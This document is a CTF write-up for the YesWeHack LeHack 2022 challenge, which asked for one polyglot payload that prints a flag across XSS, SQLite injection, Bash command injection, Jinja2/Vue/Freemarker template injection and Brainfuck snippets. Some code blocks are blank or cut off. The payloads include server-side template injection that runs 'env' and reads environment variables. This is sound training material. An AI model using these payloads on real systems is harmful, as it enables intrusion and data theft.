├── .github
├── ywh_lehack2022_final_solve.png
├── ywh_lehack2022_solve1.png
└── ywh_lehack2022_solve2.png
├── README.md
└── YesWeHack_LeHack2022
└── WriteUp_Challenge_YesWeHack_LeHack_2022.md
/.github/ywh_lehack2022_final_solve.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hakumarachi/WriteUp/d29f3cc46c1a0e76220a37e5a6fd36a4211628d4/.github/ywh_lehack2022_final_solve.png
--------------------------------------------------------------------------------
/.github/ywh_lehack2022_solve1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hakumarachi/WriteUp/d29f3cc46c1a0e76220a37e5a6fd36a4211628d4/.github/ywh_lehack2022_solve1.png
--------------------------------------------------------------------------------
/.github/ywh_lehack2022_solve2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Hakumarachi/WriteUp/d29f3cc46c1a0e76220a37e5a6fd36a4211628d4/.github/ywh_lehack2022_solve2.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Writeups
2 | All my CTF challenges writeups
3 |
--------------------------------------------------------------------------------
/YesWeHack_LeHack2022/WriteUp_Challenge_YesWeHack_LeHack_2022.md:
--------------------------------------------------------------------------------
1 | # WriteUP Challenge YesWeHack LeHack 2022
2 |
3 | > Writed By Maxime Bru, Aku --> @akumarachi & https://github.com/Hakumarachi
4 | >
5 | > Challenge created by @BitK_
6 |
7 | The objective of this challenge is to write a polyglot payload that will print the flag within 12 code snippets at the same time.
8 |
9 | The user with the smaller payload that flag the all 12 snippets win the challenge.
10 |
11 | The 12 code snippets aim different technologies like Bash or Jinja2.
12 |
13 | In order to solve the challenge, we must cut it in 3 different parts.
14 |
15 | ## Get a working payload for all code snippets
16 |
17 | ### XSS
18 |
19 | In this challenge there is 4 XSS. To solve it, we just have to alert the FLAG variable :
20 |
21 | - In script tag with quote
22 |
23 | ```html
24 |
25 |
29 |
30 | ```
31 |
32 | The payload is loaded inside quotes, a quot escape following by comment marker is enough to flag it :
33 |
34 | ```html
35 | "; alert(FLAG) //
36 | ```
37 |
38 | - In script tag without quote
39 |
40 | ```html
41 |
42 |
46 |
47 | ```
48 |
49 | ```
50 | 1; alert(FLAG);
51 | ```
52 |
53 | - in h1 tag
54 |
55 | ```html
56 |
57 |
58 |
Hello PAYLOAD
59 |
60 | ```
61 |
62 | We can add a `
66 | ```
67 |
68 | - In div class attribute, with '<>' html encoded
69 |
70 | ```html
71 |
72 |
73 |
74 | Hello world
75 |
76 |
77 | ```
78 |
79 | Here, we just have to escape the 'class' attribute and write new attribute that execute the alert() within the div :
80 |
81 | ```html
82 | " autofocus onfocus="alert(FLAG)" contenteditable="True
83 | ```
84 |
85 | ### SQLi
86 |
87 | There is 2 SQLi snippets. The flag had to be in the SQL response to validate these parts.
88 |
89 | - In single Quoted string
90 |
91 | ```sqlite
92 | CREATE TABLE users (username TEXT, password TEXT, age INTEGER);
93 | CREATE TABLE flag (flag TEXT);
94 | INSERT INTO users (username, password, age) VALUES ('admin', 'admin', 42);
95 | INSERT INTO flag (flag) VALUES ('FLAG');
96 | SELECT username FROM users WHERE username LIKE 'PAYLOAD';
97 | ```
98 |
99 | A simple quote escape and UNION SELECT will flag it :
100 |
101 | ```sqlite
102 | ' UNION SELECT flag from flag; --
103 | ```
104 |
105 | - Not quoted
106 |
107 | ```sqlite
108 | CREATE TABLE users (username TEXT, password TEXT, age INTEGER);
109 | CREATE TABLE flag (flag TEXT);
110 | INSERT INTO users (username, password, age) VALUES ('admin', 'admin', 42);
111 | INSERT INTO flag (flag) VALUES ('FLAG');
112 | SELECT username FROM users WHERE username LIKE PAYLOAD;
113 | ```
114 |
115 | Just don't forget to have a valid value before the `UNION SELECT` unless the first select will crash
116 |
117 | ```sqlite
118 | 1 UNION SELECT flag from flag;
119 | ```
120 |
121 | ### BASH
122 |
123 | the flag is stored in an environment variable, echo the $flag var will flag these parts.
124 |
125 | - Basic command injection
126 |
127 | ```bash
128 | export FLAG=FLAG
129 | id PAYLOAD
130 | ```
131 |
132 | Just don't forget to have a valid value before the `echo` unless the id command will crash
133 |
134 | ```bash
135 | 1;
136 | echo $FLAG;
137 | ```
138 |
139 | - Command injection inside cat <<< 'EOF'
140 |
141 | ```bash
142 | export FLAG=FLAG
143 | cat <<< 'EOF'
144 | PAYLOAD
145 | EOF
146 | ```
147 |
148 | A simple payload will work :
149 |
150 | ```bash
151 | EOF
152 | echo $flag;
153 | ```
154 |
155 | ### Template injection
156 |
157 | The flag is stored inside the host environments variables. We have to make a template injection that will read them.
158 |
159 | there is the same code snippets for each template injection :
160 |
161 | ```html
162 |
`
370 |
371 | Hey ! this two syntax are different and then, we can used them in the same payload !
372 |
373 | But why this should help us ? It's simple : If the condition is not met, the interpreter don't execute the code within the Conditional block and then we doesn't crash !
374 |
375 | (Note: Here freemarker is a good guy because it have its own syntax)
376 |
377 | ```jinja2
378 | {%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}
379 | ```
380 |
381 | - Brainfuck
382 |
383 | **It is a solo guy nothing to do here :). **
384 |
385 | ### Merging All payloads
386 |
387 | Let's merge all, without brainfuck in a first time.
388 |
389 | here is our payloads :
390 |
391 | - XSS
392 |
393 | ```html
394 | 1//";
395 |
396 | ```
397 |
398 | - SQLi
399 |
400 | ```sqlite
401 | 1--'
402 | UNION SELECT flag from flag; --
403 | ```
404 |
405 | - Bash
406 |
407 | ```bash
408 | EOF
409 | env
410 | ```
411 |
412 | - Template Injection
413 |
414 | ```jinja2
415 | {%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}
416 | ```
417 |
418 | I began by merge XSS and SQL because it begin with the same idea and we can use common multi line comment between js and SQLite (`/* */`)
419 |
420 | Little detail, I use the `--` sql comment end line. But this doesn't exist in JS. But the object `-->` exist... let use it :)
421 |
422 | ```html
423 | 1/*/"/*
424 | */-->'
425 | UNION SELECT flag from flag; --
426 | ```
427 |
428 | Because we are inside SQL or JS string or comment, we can easily add template injection :
429 |
430 | ```html
431 | 1/*/"/*{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}
432 | */-->'
433 | UNION SELECT flag from flag; --
434 | ```
435 |
436 | And then, to ADD bash, we have to make the command id work, and to to that we have to use Bash comment char : `#` and force the id command line to finish with `;`
437 |
438 | ```html
439 | 1/*;#/"/*{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}
440 | EOF
441 | env
442 | */-->'
443 | UNION SELECT flag from flag; --
444 | ```
445 |
446 | ### Merging Brainfuck
447 |
448 | As you can see in the payload above, we use many brainfuck char and many no brainfuck char.
449 |
450 | Fortunately, all char outside of the brainfuck charset are just skipped by the interpreter !
451 |
452 | But all branfuck valid char break our payload... ** only if brainfuck had to execute it ** exactly as the template injection, if we put or code in a conditional statement who never met the condition, the code will never be executed.
453 |
454 | So how to do that in brainfuck ?
455 |
456 | To remember, `[]` will execute the code inside the brackets only if the memory slot pointed by the cursor is not 0... so we just have to set it at 0 and put all payloads containing valid char inside brackets !!!
457 |
458 | (because we have to go to a memory slot with 0 as value, we must have to print the first flag's part before all other payload)
459 |
460 | ```html
461 | 1/*;#/"/*.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.>[{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}]
462 | EOF
463 | env
464 | */-->'
465 | UNION SELECT flag from flag; --
466 | ```
467 |
468 | 
469 |
470 |
471 |
472 | **Congratulation !! Now we have to make the smallest payload possible !**
473 |
474 | ## OPTIMIZATION !!!!!
475 |
476 | ###Â Brainfuck
477 |
478 | During all this Writeup Brainfuck was the latest point observed ! But here we have **MANY** savable characters !
479 |
480 | First, the reading of the flag from the memory. At the beginning the cursor point at the first char of the flag, so the value isn't 0. And because of shifting to right the cursor at each reading of a char, at the end of the read, the cursor point a memory slot with a value set to 0 ! So we can make a while !
481 |
482 | ```
483 | [.>]
484 | ```
485 |
486 | Here, until the cursor doesn't point an empty slot memory, it's print the pointing memory and it's shift the cursor to the right .
487 |
488 | For the seconds part of the flag, it's a similar method. At the end of stdin, `,` instruction will receive a null value so :
489 |
490 | ```
491 | ,[.,]
492 | ```
493 |
494 | because of the first part, the cursor point a null value, so we get the first char from stdin and we enter the loop where it's print the char and get the next stdin char until it receive a null value !
495 |
496 | ```html
497 | 1/*;#/"/*[.>],[.,][{%if 0%}{{''.constructor.constructor("return process.env")()}}{% endif %}
{{cycler.__init__.__globals__.os.environ}}
${"freemarker.template.utility.Execute"?new()("env")}]
498 | EOF
499 | env
500 | */-->'
501 | UNION SELECT flag from flag; --
502 | ```
503 |
504 | **We just saved 120 characters !!**
505 |
506 | ### Template injection
507 |
508 | We use if statement to not execute Jinja2 payload on Vue and vice versa . We can also use our best friend : comments !!!!
509 |
510 | - `{#COMMENT#}` in Jinja2
511 | - `` in Vue3
512 |
513 | BUT `#{` is a valid marker in templater ! so we have to ad a space between comment and Vue Payload .
514 |
515 | I can also use an shortest payload for Vue : `{{$emit.constructor("return process.env")()}}`
516 |
517 | ```
518 | 1/*;#/"/*[.>],[.,][{# {{$emit.constructor("return process.env")()}}#}'
522 | UNION SELECT flag from flag; --
523 | ```
524 |
525 | 
526 |
527 | ### XSS AND SQLi
528 |
529 | To finish, there is 2 little adjustment that we cab do to save some characters.
530 |
531 | I can do a `SELECT *` in SQL to save 3 chars !
532 |
533 | In the HTML tag I can remove some useless elememnts
534 |
535 | And, All useless spaces can be removed !
536 |
537 | ```html
538 | 1/*;#/"/*[.>],[.,][{# {{$emit.constructor("return process.env")()}}#}